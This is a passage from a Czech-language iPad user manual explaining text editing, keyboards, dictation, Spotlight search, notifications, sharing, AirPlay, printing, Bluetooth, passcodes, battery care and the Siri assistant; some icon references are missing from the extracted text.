obrazovce. Text můžete vybírat, vyjímat, kopírovat a vkládat. V některých aplikacích můžete vyjímat, kopírovat a vkládat také fotografie a video. Umístění kurzoru:  Dotkněte se prstem obrazovky a přidržte jej, dokud se nezobrazí lupa. Poté tažením umístěte kurzor.Kapitola 3 Základy 24 Výběr textu:  Klepnutím na kurzor zobrazte tlačítka výběru. Klepnutím na Vybrat vyberete sousední slovo. Klepnutím na Vybrat vše vyberete celý text. Slovo můžete vybrat také poklepáním. Tažením značek vyberte více nebo méně textu. V dokumentech pouze ke čtení, jako jsou webové stránky, vyberete slovo dotekem a přidržením. Úchytové značky Úchytové značky Vyjmutí a zkopírování textu: Vyberte text a klepněte na Vyjmout nebo Zkopírovat. Vložení textu: Klepněte na kurzor a poté klepnutím na Vložit vložte naposledy vyjmutý nebo zkopírovaný text. Chcete-li část textu nahradit, vyberte ji před klepnutím na Vložit. Odvolání poslední úpravy: Zatřeste zařízením iPad a klepněte na Zpět. Použití tučného písma, kurzívy nebo podtržení v textu: Vyberte text, klepněte na a poté na písmeno B/I/U (není k dispozici vždy). Vyhledání definice slova: Vyberte slovo a poté klepněte na Definovat (není k dispozici vždy). Nalezení alternativních slov: Vyberte slovo a poté klepněte na Nahradit (není k dispozici vždy). Zarovnání textu: Vyberte text a klepněte na levou nebo pravou šipku (není vždy k dispozici). Automatické opravy a kontrola pravopisu iPad používá v moha jazycích aktivní slovník k opravám překlepů a navrhování slov během psaní. Pokud vám iPad nabídne dokončení slova, můžete návrh přijmout, aniž byste přestávali psát. Seznam podporovaných jazyků najdete na adrese www.apple.com/cz/ipad/specs.html. Přijetí návrhu:  Napište mezeru, interpunkční znaménko nebo znak konce odstavce. Odmítnutí návrhu:  Klepněte na „x“ u návrhu.Kapitola 3 Základy 25 Po každém odmítnutí doporučení pro stejné slovo se v zařízení iPad zvýší pravděpodobnost přijetí slova, které jste zadali. iPad může také podtrhávat již zadaná slova, která by mohla obsahovat chyby. Nahrazení nesprávně napsaného slova: Klepněte na podtržené slovo a poté na správnou verzi. Pokud se požadovaná varianta slova nezobrazí, přepište slovo sami. Zapnutí a vypnutí automatických oprav nebo kontroly pravopisu: Otevřete Nastavení > Obecné > Klávesnice. Zkratky a váš osobní slovník Zkratky vám umožňují zadat místo dlouhého slova či fráze jen několik znaků. Vždy, když napíšete zkratku, zobrazí se celý odpovídající text. Zkratka „njn“ je například nahrazována textem: „No jo, no.“ Vytvoření zkratky:  Otevřete Nastavení > Obecné > Klávesnice a poté klepněte na Přidat novou zkratku. Zabránění zařízení iPad v navrhování oprav určitého slova nebo fráze: Vytvořte zkratku, ale pole Zkratka ponechte prázdné. Úprava zkratky:  Otevřete Nastavení > Obecné > Klávesnice a poté klepněte na zkratku. Aktualizace osobního slovníku na vašich iOS zařízeních pomocí iCloudu:  Otevřete Nastavení > iCloud a zapněte Dokumenty a data. Rozložení klávesnice Na zařízení iPad můžete psát na rozdělené klávesnici umístěné dole na obrazovce nebo na volné klávesnici uprostřed obrazovky. Úprava klávesnice: Dotkněte se a poté proveďte některou z následujících akcí: • Použití rozdělené klávesnice: Sklouzněte prstem na Rozdělit a uvolněte jej. • Přesunutí klávesnice do prostřední části obrazovky: Sklouzněte prstem na Odemknout a uvolněte jej. • Návrat k úplné klávesnici: Sklouzněte prstem na Ukotvit a spojit a uvolněte jej. • Vrácení úplné klávesnice do dolní části obrazovky: Sklouzněte prstem na Ukotvit a uvolněte jej. Zapnutí nebo vypnutí rozdělené klávesnice: Vyberte Nastavení > Obecné > Klávesnice > Rozdělená klávesnice. V Nastavení můžete vybrat rozložení klávesnice na obrazovce nebo na bezdrátové klávesnici Apple, kterou se zařízením iPad používáte. Dostupná rozložení závisí na jazyku klávesnice. Viz Bezdrátová klávesnice Apple níže. a Dodatek B, Národní klávesnice, na stránce 129. Výběr rozložení klávesnice: Otevřete Nastavení > Obecné > Národní volby > Klávesnice, vyberte jazyk a poté rozložení.Kapitola 3 Základy 26 Bezdrátová klávesnice Apple Na zařízení iPad můžete psát pomocí bezdrátové klávesnice Apple (prodává se zvlášť). Bezdrátová klávesnice Apple se připojuje přes Bluetooth, takže ji musíte nejprve se zařízením iPad spárovat. Viz Párování zařízení Bluetooth na stránce 33. Pokud je klávesnice se zařízením iPad spárovaná, připojí se, kdykoli bude v dosahu (přibližně do 10 metrů). Když je klávesnice připojená, po klepnutí na textové pole se neobjeví klávesnice na obrazovce. Pokud klávesnici nepoužíváte, vypněte ji, abyste zbytečně nevybíjeli baterii. Přepnutí jazyka při práci s hardwarovou klávesnicí:  Stisknutím kláves Cmd-mezerník zobrazte seznam dostupných jazyků. Dalším stisknutím Mezerníku vyberete jazyk. Vypnutí bezdrátové klávesnice:  Podržte zapínací tlačítko na klávesnici, dokud nezhasne zelené světlo. Vypnete-li klávesnici nebo se vzdálíte z jejího dosahu, iPad se od ní odpojí. Zrušení spárování bezdrátové klávesnice:  Otevřete Nastavení > Bluetooth, klepněte na u názvu klávesnice a poté klepněte na „Ignorovat zařízení“. Diktování Na podporovaných zařízeních iPad můžete text místo psaní diktovat. Abyste mohli diktování použít, musí být zapnutá funkce Siri a iPad musí být připojen k Internetu. Diktovat můžete i interpunkci a dávat příkazy k formátování textu. Poznámka:  Diktování nemusí být dostupné ve všech jazycích a oblastech a jeho funkce se mohou podle oblastí lišit. Mobilní datové služby mohou být zpoplatněny. Zapnutí diktování: Otevřete Nastavení > Obecné > Siri a zapněte Siri. Diktování textu: Na klávesnici na obrazovce klepněte na a poté začněte diktovat. Až budete s diktováním hotovi, znovu klepněte na . Klepnutím zahájíte diktování. Klepnutím zahájíte diktování. Chcete-li přidat text, klepněte znovu na symbol a pokračujte v diktování. Chcete-li vkládat text, nejprve umístěte kurzor klepnutím. Diktováním můžete také nahradit vybraný text. Přidání interpunkce nebo formátování textu: Vyslovte název interpunkčního znaménka nebo formátovací příkaz. Nadiktujete-li například větu „Dear Mary comma the check is in the mail exclamation mark“, zapíše se „Dear Mary, the check is in the mail!“Kapitola 3 Základy 27 K dispozici jsou tato interpunkční znaménka a formátovací příkazy: • quote … end quote – uvozovky dole … uvozovky nahoře • new paragraph – nový odstavec • cap – následující slovo začne velkým písmenem • caps on … caps off – zapnutí a vypnutí psaní každého slova s velkým písmenem na začátku • all caps – následující slovo bude celé psáno velkými písmeny • all caps on … all caps off – všechna slova mezi těmito dvěma příkazy budou psána jen velkými písmeny • no caps on … no caps off – všechna slova mezi těmito dvěma příkazy budou psána jen malými písmeny • no space on … no space off – psaní posloupnosti slov bez mezer • smiley – vložení :-) • frowny – vložení :-( • winky – vložení ;-) Hledání Hledat můžete v mnoha aplikacích na zařízení iPad a také na Wikipedii a na webu. Hledat lze v konkrétní aplikaci nebo ve všech aplikacích najednou pomocí Spotlightu. Spotlight též prohledává na zařízení iPad názvy aplikací. Máte-li velké množství aplikací, můžete použít Spotlight k jejich vyhledání a otevření. Hledání v konkrétní aplikaci: Zadejte text do pole hledání. Prohledávání zařízení iPad pomocí Spotlightu:  Přejeďte na první ploše doprava nebo stiskněte tlačítko plochy na kterékoli ploše. Zadejte text do pole hledání. Při psaní se začnou objevovat nalezené výsledky. Klepnutím na Hledat skryjete klávesnici a zobrazíte více výsledků. Klepnutím do seznamu otevřete vybranou položku. Podle ikon poznáte, z kterých aplikací jednotlivé výsledky pocházejí. iPad může zobrazit nejčastější shodu založenou na předchozích hledáních.Kapitola 3 Základy 28 Spotlight prohledává následující položky: • Kontakty – veškerý obsah • Aplikace – názvy • Hudba – názvy skladeb a alb, jména umělců a názvy podcastů a videí • Podcasty – názvy • Videa – názvy • Audioknihy – názvy • Poznámky – text poznámek • Kalendář (Události) – názvy událostí, pozvaní účastníci, místa a poznámky • Mail – Pole Od, Komu a Předmět ve všech účtech (není prohledáván text zpráv) • Připomínky – názvy • Zprávy – názvy a text zpráv Hledání na webu nebo na Wikipedii pomocí Spotlightu: Přejděte na konec výsledků hledání a poté klepněte na Hledat v Internetu nebo Hledat ve Wikipedii. Otevření aplikace z Hledání:  Zadejte celý název aplikace nebo jeho část a poté na aplikaci klepněte. Výběr prohledávaných položek a pořadí, ve kterém jsou prohledávány: Otevřete Nastavení > Obecné > Hledání ve Spotlight. Oznámení Chcete-li mít jistotu, že nezmeškáte důležité události, můžete v mnoha aplikacích na zařízení iPad nastavit upozornění. Upozornění se může zobrazit jako banner u horního okraje obrazovky, který po chvilce zmizí, pokud na něj nezareagujete, nebo jako oznámení uprostřed obrazovky, jež zůstane zobrazeno, dokud nepotvrdíte jeho přečtení. Některé aplikace také mohou na svých ikonách na ploše zobrazovat odznaky, které vás informují o počtu nových položek, například e-mailových zpráv. Vyskytne-li se nějaký problém, například nebude možné odeslat zprávu, na aplikaci se objeví odznak s vykřičníkem . Odznak s číslem na složce udává celkový počet upozornění pro všechny aplikace v dané složce. Upozornění se také mohou zobrazovat na uzamčené obrazovce. Odpověď na upozornění na uzamčeném zařízení iPad:  Přejeďte přes upozornění zleva doprava. Oznamovací centrum zobrazuje všechna vaše upozornění na jednom místě. Pokud jste nemohli na některé upozornění reagovat při jeho prvním zobrazení, můžete tak učinit později v Oznamovacím centru. Upozornění mohou zahrnovat: • zmeškané FaceTime hovory, • nové e-maily, • nové textové zprávy, • připomínky, • události v kalendáři, • žádosti o přátelství (Game Center),Kapitola 3 Základy 29 Také můžete přijímat informace o místním počasí a nechat si zobrazit svůj osobní burzovní telegraf. Pokud jste přihlášeni ke svým účtům na Twitteru a Facebooku, můžete z oznamovacího centra posílat tweety a zveřejňovat příspěvky. Zobrazení Oznamovacího centra: Přejeďte dolů od horního okraje obrazovky. • Reakce na upozornění: Klepněte na ně. • Smazání upozornění: Klepněte na a poté na Smazat. Správa upozornění pro vaše aplikace: Otevřete Nastavení > Oznámení. Viz Funkce Nerušit a Oznámení na stránce 119. Výběr zvuků upozornění, nastavení jejich hlasitosti nebo zapnutí či vypnutí vibrací:  Otevřete Nastavení > Zvuk. Sdílení iPad vám poskytuje řadu způsobů sdílení dat a informací s jinými uživateli. Sdílení v aplikacích V mnoha aplikacích můžete klepnutím na zobrazit volby sdílení i dalších akcí, například tisku nebo kopírování. Dostupné volby závisí na použité aplikaci.Kapitola 3 Základy 30 Facebook Přihlášením ke svému účtu na Facebooku (nebo vytvořením nového účtu) v Nastavení aktivujete zveřejňování příspěvků z mnoha aplikací na zařízení iPad. Přihlášení k účtu na Facebooku nebo vytvoření nového účtu:  Otevřete Nastavení > Facebook. Zveřejňování příspěvků příspěvku z Oznamovacího centra:  Klepněte na „Zveřejněte klepnutím“. Chcete-li tuto funkci zapnout, vyberte Nastavení > Oznámení > Widget sdílení. Zveřejňování příspěvků pomocí Siri:  Řekněte „Post to Facebook….“ Zveřejňování příspěvků z aplikací:  Ve většině aplikací můžete klepnout na . V Mapách klepněte na , na Sdílet polohu a poté na Facebook. Nastavení voleb pro Facebook:  Vyberete-li Nastavení > Facebook, můžete: • Aktualizovat Kontakty na zařízení iPad pomocí jmen a fotografií na Facebooku • Povolit službě App Store a aplikacím kalendář, Kontakty nebo iTunes používání vašeho účtu Instalace aplikace Facebook: Otevřete Nastavení > Facebook a klepněte na Instalovat. Twitter Přihlášením ke svému účtu na Twitteru (nebo vytvořením nového účtu) v Nastavení aktivujete posílání tweetů s přílohami z mnoha aplikací na zařízení iPad. Přihlášení k účtu na Twitteru nebo vytvoření nového: Otevřete Nastavení > Twitter. Posílání tweetu z Oznamovacího centra:  Klepněte na „Klepnutím pošlete tweet.“ Chcete-li tuto funkci zapnout, vyberte Nastavení > Oznámení > Widget sdílení. Posílání tweetů pomocí Siri:  Řekněte „Tweet ….“ Posílání tweetů z aplikací: Zobrazte požadovanou položku, klepněte na a poté klepněte na Twitter. Pokud není ikona zobrazena, klepněte na obrazovku. Chcete-li přidat svou polohu, klepněte na Přidat polohu. Odeslání polohy v Mapách jako tweetu: Klepněte na polohový špendlík , na , na Sdílet polohu a poté na Twitter. Při psaní tweetu vidíte v levém dolním rohu obrazovky počet znaků, které ještě můžete zadat. Část ze 140 znaků dostupných v tweetu mohou zabrat přílohy. Přidání jmen uživatelů Twitteru a jejich fotografií k vašim kontaktům: Otevřete Nastavení > Twitter a poté klepněte na Aktualizovat kontakty. Nastavení voleb pro Twitter: Otevřete Nastavení > Twitter. Instalace aplikace Twitter: Otevřete Nastavení > Twitter a klepněte na Instalovat. Připojení iPadu k televizoru nebo jinému zařízení Obsah můžete do HD televizoru streamovat přes AirPlay a Apple TV nebo svůj iPad připojit k televizoru pomocí kabelů. AirPlay Pomocí AirPlay můžete streamovat hudbu, fotografie a videa bezdrátově do Apple TV a dalších zařízení s podporou funkce AirPlay. Pokud se ve Wi-Fi síti, ke které je iPhone připojen, objeví zařízení s podporou AirPlay, zobrazí se na zařízení iPad ovládací prvky AirPlay. AirPlay vám také umožňuje zrcadlit obsah obrazovky zařízení iPad na televizoru. Streamování obsahu do zařízení s podporou AirPlay:  Klepněte na a vyberte zařízení.Kapitola 3 Základy 31 Zobrazení ovládacích prvků hlasitosti AirPlay při práci v libovolné aplikaci: Při zapnuté obrazovce dvakrát stiskněte tlačítko plochy a posuňte panel souběžných úloh na levý okraj. AirPlay AirPlay Hlasitost Hlasitost Přepnutí přehrávání zpět na iPad: Klepněte na a vyberte iPad. Zrcadlení obrazovky zařízení iPad na televizoru: Klepněte na na levém konci panelu souběžných úloh, vyberte Apple TV a poté klepněte na Zrcadlení. Při zapnutém zrcadlení AirPlay se nahoře na obrazovce zařízení iPad zobrazuje modrý pruh. Na televizní obrazovce uvidíte všechno, co se zobrazuje na displeji zařízení iPad. Připojení iPadu k televizoru pomocí kabelu Pro připojení zařízení iPad k TV projektoru nebo jinému externímu monitoru je nutné použít kabely a adaptéry od společnosti Apple (prodávané samostatně). Další informace najdete v článku support.apple.com/kb/HT4108?viewlocale=cs_CZ. Tisk pomocí funkce AirPrint AirPrint umožňuje bezdrátový tisk na tiskárnách s podporou AirPrintu z následujících aplikací systému iOS: • Mail - e-mailové zprávy a přílohy, které lze otevřít v Rychlém náhledu • Obrázky a Fotoaparát – fotografie • Safari - webové stránky, soubory PDF a další přílohy, které lze otevřít v Rychlém náhledu • iBooks - soubory PDF • Mapy – část mapy zobrazená na obrazovce • Poznámky – aktuálně zobrazená poznámka Další aplikace, které jsou k dispozici v App Store, mohou také podporovat AirPrint. iPad a tiskárna musí být připojeny ke stejné Wi-Fi síti. Další informace o AirPrintu naleznete v článku support.apple.com/kb/HT4356?viewlocale=cs_CZ.Kapitola 3 Základy 32 Tisk dokumentu: Klepněte na nebo (podle toho, kterou aplikaci používáte) a poté na Tisknout. Zobrazení stavu tiskové úlohy: Dvakrát stiskněte tlačítko plochy a poté klepněte na Tiskové centrum na panelu souběžných úloh. Odznak na ikoně ukazuje, kolik dokumentů včetně aktuálního je připraveno k tisku. Zrušení tiskové úlohy: V případě potřeby vyberte v Tiskovém centru tiskovou úlohu a poté klepněte na Zrušit tisk.Kapitola 3 Základy 33 Zařízení Bluetooth iPad můžete používat s bezdrátovou klávesnicí Apple a dalšími zařízeními Bluetooth, například s náhlavní soupravou  Bluetooth. Podporované profily Bluetooth naleznete v článku na adrese support.apple.com/kb/HT3647?viewlocale=cs_CZ. Párování zařízení Bluetooth Zařízení Bluetooth musíte ped použitím se zařízením iPad nejprve se zařízením iPad spárovat. Párování zařízení Bluetooth se zařízením iPad:  1 Nastavte zařízení do zjistitelného režimu. Viz dokumentace přiložená k zařízení. U bezdrátové klávesnice Apple stiskněte zapínací tlačítko. 2 Otevřete Nastavení > Bluetooth a zapněte Bluetooth. 3 Vyberte zařízení a pokud k tomu budete vyzváni, zadejte přístupový kód nebo PIN. Viz pokyny pro přístupový kód nebo číslo PIN v dokumentaci zařízení. Informace o používání bezdrátové klávesnice Apple viz Bezdrátová klávesnice Apple na stránce 26. Chcete-li se zařízením iPad používat náhlavní soupravu Bluetooth, postupujte podle dokumentace dodané se zařízením. Přepnutí zvukového výstupu zpět do zařízení iPad při připojené náhlavní soupravě Bluetooth: Zařízení vypněte, zrušte jeho spárování nebo vypněte Bluetooth v Nastavení > Bluetooth. Kdykoli se zařízení vzdálí z dosahu, bude zvukový výstup přepnut zpět do zařízení iPad. K přepnutí zvukového výstupu do zařízení iPad můžete použít také AirPlay . Viz AirPlay na stránce 30. Stav rozhraní Bluetooth Po spárování zařízení se zařízením iPad se ve stavovém řádku na horním okraji obrazovky zobrazí ikona Bluetooth: • (bílá): Rozhraní Bluetooth je zapnuto a spárováno se zařízením. • (šedá): Rozhraní Bluetooth je zapnuto a spárováno se zařízením, ale zařízení je mimo dosah nebo je vypnuto. • Žádná ikona Bluetooth: Rozhraní Bluetooth není spárováno se zařízením. Zrušení spárování zařízení Bluetooth s iPadem Pokud nechcete některé zařízení Bluetooth se zařízením iPad nadále používat, můžete zrušit jejich spárování. Zrušení spárování zařízení Bluetooth:  Otevřete Nastavení > Bluetooth a zapněte volbu Bluetooth. Klepněte na tlačítko u názvu zařízení a poté na „Ignorovat zařízení“.Kapitola 3 Základy 34 Sdílení souborů Mezi zařízením iPad a svým počítačem můžete soubory přenášet pomocí iTunes. Na zařízení iPad můžete také zobrazit soubory přijaté jako e-mailové přílohy. Viz Čtení pošty na stránce 46. V případě, že používáte na více zařízeních tytéž aplikace, jež spolupracují s iCloudem, můžete pomocí iCloudu udržovat své dokumenty na všech těchto zařízeních v aktuálním stavu. Viz Použití iCloudu na stránce 15. Přenos souborů pomocí iTunes: Připojte iPad k počítači pomocí přiloženého kabelu. V iTunes na svém počítači vyberte iPad a poté klikněte na Aplikace. V sekci Sdílení souborů můžete přenášet dokumenty mezi zařízením iPad a počítačem. Aplikace podporující sdílení souborů jsou uvedeny v seznamu aplikací sdílejících soubory v iTunes. Chcete-li některý soubor smazat, vyberte jej v seznamu souborů a poté stiskněte klávesu Delete. Funkce zabezpečení Funkce zabezpečení napomáhají ochránit data v zařízení iPad před nepovolaným přístupem. Přístupové kódy a ochrana dat Pro lepší zabezpečení můžete nastavit přístupový kód, který je nutné zadat při každém zapnutí nebo probuzení zařízení iPad a při přístupu k nastavení kódového zámku. Nastavením přístupového kódu zapnete ochranu dat, která použije váš přístupový kód jako klíč pro šifrování e-mailových zpráv a příloh uložených v zařízení iPad. (Některé aplikace, které jsou k dispozici v App Store, mohou také používat ochranu dat). Při zapnuté ochraně dat se u dolního okraje obrazovky Kódový zámek v Nastavení zobrazí oznámení. Nastavení přístupového kódu:  Otevřete Nastavení > Obecné > Kódový zámek, potom klepněte na Zapnout kódový zámek a nastavte čtyřmístný kód. Použití bezpečnějšího přístupového kódu: Chcete-li zvýšit zabezpečení, vypněte Jednoduchý kód a použijte delší přístupový kód s kombinací čísel, písmen, interpunkce a speciálních znaků. iPad chráněný kombinovaným přístupovým kódem odemknete zadáním kódu z klávesnice. Dáváte-li přednost odemykání zařízení iPad pomocí číselníku, můžete nastavit delší heslo složené pouze z číslic. Viz Kódový zámek na stránce 121. Hledat iPad Služba Hledat iPad vám pomůže vyhledat a zabezpečit váš iPad pomocí bezplatné aplikace Hledat iPhone z jiného iPadu, iPhonu nebo iPodu touch či Macu nebo PC s webovým prohlížečem, přihlášených ke službě www.icloud.com. Funkce Hledat iPad zahrnuje: • Přehrání zvuku:  Zvuk bude přehráván minimálně dvě minuty. • Režim ztraceného zařízení:  Svůj ztracený iPad můžete ihned uzamknout pomocí přístupového kódu a odeslat na něj zprávu s kontaktním číslem. iPad také sleduje a oznamuje svoji polohu, takže se v aplikaci Hledat iPhone můžete podívat, kde se nachází. • Smazání obsahu zařízení iPad:  Chrání vaše soukromí smazáním veškerých dat a médií v zařízení iPad a obnovením jeho původního továrního nastavení. Důležité:  Tyto funkce je možné použít pouze v případě, že byla před ztracením zařízení iPad v nastaveních iCloudu zapnuta služba Hledat iPad a ztracený iPad je připojen k Internetu. Zapnutí služby Hledat iPad: Otevřete Nastavení > iCloud a poté zapněte funkci Hledat iPad.Kapitola 3 Základy 35 Baterie iPad je vybaven interní lithium-iontovou dobíjecí baterií. Další informace o této baterii včetně tipů pro prodloužení její životnosti najdete na adrese www.apple.com/cz/batteries. VAROVÁNÍ:  Důležité bezpečnostní informace o baterii a dobíjení zařízení iPad najdete v části Důležité informace o bezpečnosti na stránce 132. Nabití baterie:  iPad se nejlépe dobíjí, připojíte-li jej k elektrické síti pomocí kabelu a síťového USB adaptéru z příslušenství zařízení iPad. Připojíte-li iPad k rozhraní USB 2.0 na vašem počítači, může se stát, že se bude dobíjet pomalu. Pokud váš Mac nebo PC neposkytuje dostatek energie pro dobití zařízení iPad, ve stavovém řádku se objeví zpráva Nenabíjí se. Důležité:  V případě, že je iPad připojen k počítači, který je vypnutý nebo v režimu spánku či nečinnosti, k rozbočovači USB nebo k USB rozhraní na klávesnici, může se baterie zařízení iPad místo nabíjení vybíjet. Ikona baterie v pravém horním rohu stavového řádku ukazuje úroveň nebo stav dobíjení baterie. Nenabíjí se Nenabíjí se Nabíjí se Nabíjí se Nabito Nabito Zobrazení procentuální úrovně nabití baterie: Vyberte Nastavení > Obecné > Využití a zapněte nastavení v části Využití baterie. Důležité:  Pokud je v zařízení iPad málo energie, může se na displeji objevit jeden z těchto obrázků, které indikují, že je iPad třeba před dalším použitím nabíjet až dvacet minut. Pokud je v zařízení iPad velmi málo energie, displej může být prázdný až dvě minuty před tím, než se ukáže obrázek informující o nedostatku energie. nebo nebo Baterii lze dobíjet po omezený počet cyklů a poté ji bude třeba vyměnit. Výměna baterie: Baterie v není určena ke svépomocné uživatelské výměně. Může ji vyměnit pouze poskytovatel servisu autorizovaný společností Apple. Viz www.apple.com/cz/batteries/.4 36 Co je Siri? Siri je inteligentní osobní asistentka, s jejíž pomocí můžete provádět různé úkony pouze prostřednictvím hlasu. Siri rozumí přirozené řeči, takže není nutné se učit žádné specifické příkazy ani si pamatovat klíčová slova. Otázky můžete klást různými způsoby. Můžete například říci „Set the alarm for 6:30 a.m.“ nebo „Wake me at 6:30 in the morning“. Siri požadavku porozumí v obou případech. VAROVÁNÍ:  Důležité informace o udržování pozornosti při řízení najdete v části Důležité informace o bezpečnosti na stránce 132. Díky Siri můžete pomocí hlasových pokynů v běžném jazyce napsat a odeslat zprávu, naplánovat schůzku, někomu zavolat pomocí FaceTime, vyhledat trasu, nastavit připomínku, procházet web a mnoho dalšího. Pokud bude Siri potřebovat upřesnění nebo další informace, zeptá se vás. Aby dokázala lépe pochopit, o čem mluvíte, využívá Siri také údaje uložené ve vašich kontaktech, hudební knihovně, kalendářích, připomínkách atd. Siri bezproblémově spolupracuje s většinou aplikací předinstalovaných v zařízení iPad a v případě potřeby využívá funkci Hledat a Polohové služby. Můžete ji také požádat, aby pro vás otevřela aplikaci. Se Siri můžete mluvit o mnoha věcech. Zde je pro začátek několik příkladů: • „FaceTime Joe“ • „Set the timer for 30 minutes“ • „Directions to the nearest Apple Store“ • „Is it going to rain tomorrow?“ • „Post to Facebook“ • „Tweet“ Poznámka:  Siri je k dispozici na zařízení iPad 3. generace nebo novějších a vyžaduje připojení k Internetu. Nemusí být dostupná ve všech jazycích a oblastech a také její funkce se mohou podle oblastí lišit. Mobilní datové služby mohou být zpoplatněny. SiriKapitola 4 Siri 37 Použití služby Siri Spuštění služby Siri Siri lze aktivovat stisknutím tlačítka. Spuštění služby Siri: Službu Siri zobrazíte stisknutím tlačítka plochy . Pokud jste Siri nezapnuli při nastavováni zařízení iPad, otevřete Nastavení > Obecné > Siri. Ozvou se dvě rychle za sebou jdoucí pípnutí a na displeji se zobrazí zpráva „What can I help you with?“. Můžete začít mluvit. Aktivovaná ikona mikrofonu oznamuje, že Siri vás slyší. Pokud jste se Siri již zahájili dialog, můžete v hovoru pokračovat po klepnutí na ikonu mikrofonu. Siri vyčká na konec vaší řeči. Na konec řeči můžete Siri také upozornit klepnutím na ikonu mikrofonu. To je užitečné zejména na místech s velmi hlučným zvukovým pozadím. Tímto způsobem lze také urychlit komunikaci se Siri, protože Siri nemusí čekat na odmlku. Poté, co přestanete mluvit, Siri zobrazí, co slyšela, a nabídne odpověď. Siri často přidá související informace, které pro vás mohou být užitečné. Pokud jsou informace vázány na některou aplikaci (například zadání textové zprávy nebo dotaz na trasu), můžete tuto aplikaci otevřít jednoduše klepnutím na displej. Poté můžete provádět další akce. Související informace – klepnutím otevřete aplikaci. Související informace – klepnutím otevřete aplikaci. Co jste podle Siri řekli Co jste podle Siri řekli Odpověď od Siri Odpověď od Siri Klepněte, chcete-li mluvit se Siri. Klepněte, chcete-li mluvit se Siri. V případě potřeby vás Siri požádá objasnění vašeho požadavku, aby jej mohla splnit. Řeknete-li Siri například „Remind me to call mom“, Siri se pravděpodobně zeptá „What time would you like me to remind you?“. Zrušení požadavku: Řekněte: „Cancel,“ klepněte na nebo stiskněte tlačítko plochy .Kapitola 4 Siri 38 Řekněte Siri něco o sobě Čím víc toho Siri o vás ví, tím více informací může využívat k tomu, aby vám pomohla. Siri získá informace o vás z vaší vizitky („Moje info“) v  Kontaktech. Řekněte Siri, kdo jste: Otevřete Nastavení > Obecné > Siri > Moje info a poté klepněte na své jméno. Přidejte adresu domů a do zaměstnání na svoji vizitku. Poté budete moci Siri říci: „Tell me how to get home.“ Siri také chce znát důležité lidi ve vašem životě. Z tohoto důvodu uveďte na svoji vizitce informace o vztazích, aby vám mohla Siri lépe pomáhat. Pokud například Siri požádáte o odeslání textové zprávy vaší sestře, Siri se zeptá, kdo je vaše sestra (není-li tento údaj dosud na vizitce zadán). Siri poté údaj o tomto příbuzenském vztahu přidá na vizitku, aby se příště již nemusela ptát. Vytvořte si v Kontaktech vizitky pro všechny osoby, které jsou s vámi v důležitém vztahu, a uveďte na nich údaje, jako jsou telefonní čísla, e-mailové adresy, adresa domů a do zaměstnání nebo přezdívky. Průvodce na obrazovce Siri vám přímo na obrazovce ukáže příklady frází, které můžete používat. Při prvním zobrazení služby Siri se můžete zeptat „what can you do“ nebo klepnout na tlačítko . Siri zobrazí seznam podporovaných aplikací spolu s ukázkovým požadavkem. Klepnutím na položku zobrazíte další příklady. Siri v režimu handsfree Siri můžete používat spolu s kompatibilní náhlavní soupravou, například Apple EarPods s ovladačem a mikrofonem (prodává se samostatně), nebo s jinými kabelovými či Bluetooth náhlavními soupravami. Rozhovor se Siri pomocí náhlavní soupravy: Přidržte prostřední tlačítko (nebo tlačítko volání na náhlavní soupravě Bluetooth). Chcete-li pokračovat v konverzaci se Siri, stiskněte a přidržte tlačítko pokaždé, když chcete mluvit. Při použití náhlavní soupravy vám Siri bude odpovídat hlasem. Nadiktované textové a e-mailové zprávy Siri před odesláním znovu přečte. Díky tomu máte možnost zprávu v případě potřeby změnit. Siri zopakuje také předměty připomínek, které mají být vytvořeny.Kapitola 4 Siri 39 Polohové služby Vzhledem k tomu, že Siri zná místa jako „current“, „home“ nebo „work“ (pokud váš model zařízení iPad Wi-Fi + cellular tuto funkci podporuje) může vám například připomenout různé úkoly, jakmile opustíte určité místo nebo naopak na určité místo dorazíte. Řekněte Siri „Remind me to call my daughter when I leave the office“ a Siri to udělá. Při odchodu z práce vám připomene, že jste chtěli zatelefonovat dceři. Údaje o vaší poloze nejsou sledovány ani se neukládají nikam jinam než do zařízení iPad. Službu Siri můžete používat i při vypnutí polohových služeb, ale Siri nebude provádět žádné úkoly, při nichž je nutné znát údaje o poloze. Vypnutí polohových služeb pro službu Siri: Otevřete Nastavení > Soukromí > Polohové služby. Zpřístupnění Nevidomí uživatelé a uživatelé s poruchami zraku mohou službu Siri ovládat pomocí funkce VoiceOver, což je čtečka obrazovky, vestavěná přímo v systému iOS. Funkce VoiceOver nahlas popisuje jednotlivé prvky na obrazovce, včetně všech textových odpovědí služby Siri. Díky tomu lze iPad používat i bez toho, že byste jej viděli. Zapnutí funkce VoiceOver: Otevřete Nastavení > Obecné > Zpřístupnění. Při aktivované funkci VoiceOver budou nahlas čtena i všechna oznámení. Více informací viz VoiceOver na stránce 102. Nastavení voleb pro Siri Zapnutí nebo vypnutí služby Siri: Otevřete Nastavení > Obecné > Siri. Poznámka:  Při vypnutí se služba Siri resetuje a Siri zapomene veškeré naučené poznatky o vašem způsobu mluvy. Nastavení voleb pro Siri: Otevřete Nastavení > Obecné > Siri. • Jazyk: Vyberte jazyk, který chcete používat ke komunikaci se Siri. • Hlasová odezva: Ve výchozím nastavení Siri sděluje své odpovědi hlasem pouze tehdy, je-li iPod touch přiložen k uchu nebo Siri používáte spolu s náhlavní soupravou. Chcete-li, aby Siri reagovala vždy hlasem, nastavte tuto volbu na hodnotu Vždy. • Moje info: Ukažte Siri vizitku v Kontaktech, která obsahuje informace o vás. Viz Řekněte Siri něco o sobě na stránce 38. Povolení nebo zákaz přístupu ke službě Siri, je-li iPad uzamčen pomocí kódu: Otevřete Nastavení > Obecné > Kódový zámek. Službu Siri můžete vypnout také tak, že aktivujete omezení. Viz Omezení na stránce 122. Kapitola 4 Siri 40 Restaurace Siri spolupracuje s Yelpem, OpenTable a dalšími službami, aby vám mohla poskytnout informace o restauracích a pomohla vám zarezervovat si stůl. Požádejte o vyhledání restaurací podle typu kuchyně, ceny, polohy, sezení na zahrádce nebo pomocí kombinace těchto kritérií. Siri vám může ukázat dostupné fotografie, hodnocení na Yelpu, cenové rozmezí a recenze. Další informace můžete získat pomocí aplikací Yelp a OpenTable. Pokud jste si je ještě nenainstalovali, iPad vás vyzve k jejich stažení. Zobrazení podrobných informací o restauraci:  Klepněte na restauraci, kterou vám Siri doporučí. Zavolejte do restaurace. Zavolejte do restaurace. Rezervace na stránkách OpenTable. Rezervace na stránkách OpenTable. Přečtěte si recenze na Yelpu. Přečtěte si recenze na Yelpu. Filmy Zeptejte se Siri, které filmy právě promítají v kinech, nebo kde můžete zhlédnout určitý film. Zjistěte, kdy měl film 